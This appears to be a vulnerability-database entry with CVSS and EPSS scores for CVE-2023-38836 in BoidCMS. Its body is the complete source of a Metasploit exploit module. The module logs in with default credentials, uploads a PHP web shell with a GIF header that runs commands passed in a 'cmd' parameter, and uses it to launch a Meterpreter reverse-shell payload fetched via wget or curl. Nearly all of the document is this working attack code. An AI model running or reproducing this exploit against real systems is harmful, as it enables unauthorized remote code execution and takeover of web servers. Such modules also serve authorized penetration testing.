8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.1 High
AI Score
Confidence
Low
0.673 Medium
EPSS
Percentile
98.0%
This Metasploit module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS versions 2.0.0 and below. BoidCMS allows the authenticated upload of a php file as media if the file has the GIF header, even if the file is a php file.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BoidCMS Command Injection',
'Description' => %q{
This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
and below. BoidCMS allows the authenticated upload of a php file as media if the file has
the GIF header, even if the file is a php file.
},
'License' => MSF_LICENSE,
'Author' => [
'1337kid', # Discovery
'bwatters-r7' # Metasploit Module
],
'References' => [
[ 'CVE', '2023-38836' ],
[ 'URL', 'https://github.com/1337kid/CVE-2023-38836']
],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[
'nix Command',
{
'Platform' => ['linux', 'unix', 'python'],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
[
'Windows Command',
{
'Platform' => ['windows', 'python'],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp',
'FETCH_WRITABLE_DIR' => '%TEMP%',
'FETCH_COMMAND' => 'CURL'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-07-13',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The path', '']),
OptString.new('CMS_USERNAME', [true, 'Username', 'admin']),
OptString.new('CMS_PASSWORD', [true, 'Password', 'password']),
OptString.new('PHP_FILENAME', [true, 'The name for the php file to upload', "#{Rex::Text.rand_text_alphanumeric(5..11)}.php"])
])
@token = nil
@shell_filename = nil
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true,
'method' => 'GET'
)
if res && res.code == 200
title = res.get_html_document.xpath('//title').first.to_s
return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS')
end
return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page')
end
def extract_token(res)
token = nil
if res && res.code == 200
token = res.get_html_document.xpath("//input[@name='token']/@value").first
end
token
end
def cms_token
# initial login
return @token unless @token.nil?
vprint_status('Getting Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true,
'method' => 'GET'
)
@token = extract_token(res)
end
def cms_login?(login_token)
vprint_status('Logging into CMS')
cms_password = datastore['CMS_PASSWORD']
cms_username = datastore['CMS_USERNAME']
vars_form_data =
[
{
'name' => 'username',
'data' => cms_username
},
{
'name' => 'password',
'data' => cms_password
},
{
'name' => 'login',
'data' => 'Login'
},
{
'name' => 'token',
'data' => login_token.to_s
}
]
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin'),
'method' => 'POST',
'keep_cookies' => true,
'vars_form_data' => vars_form_data
)
res && res.code == 302
end
def upload_php?(login_token, shell_filename)
vprint_status("Uploading PHP file #{shell_filename}")
vars_form_data =
[
{
'name' => 'file',
'data' => 'GIF89a;\n<?php system($_GET["cmd"]) ?>',
'filename' => shell_filename
},
{
'name' => 'token',
'data' => login_token.to_s
},
{
'name' => 'upload',
'data' => 'Upload'
}
]
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin'),
'method' => 'POST',
'keep_cookies' => true,
'vars_get' => {
'page' => 'media'
},
'vars_form_data' => vars_form_data
)
res && res.code == 302
end
def launch_payload(shell_filename, payload_cmd)
# send the command to the php page
vprint_status('launching Payload')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/media/#{shell_filename}"),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' =>
{
'cmd' => payload_cmd
}
)
end
def exploit
@shell_filename = datastore['PHP_FILENAME']
login_token = cms_token
fail_with(Failure::UnexpectedReply, 'Failed to retrieve token for login') if login_token.nil?
fail_with(Failure::UnexpectedReply, 'Failed to log in') unless cms_login?(login_token)
if upload_php?(login_token, @shell_filename)
register_file_for_cleanup @shell_filename
launch_payload(@shell_filename, payload.encoded)
else
fail_with(Failure::UnexpectedReply, 'Failed to upload php files')
end
end
end
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.1 High
AI Score
Confidence
Low
0.673 Medium
EPSS
Percentile
98.0%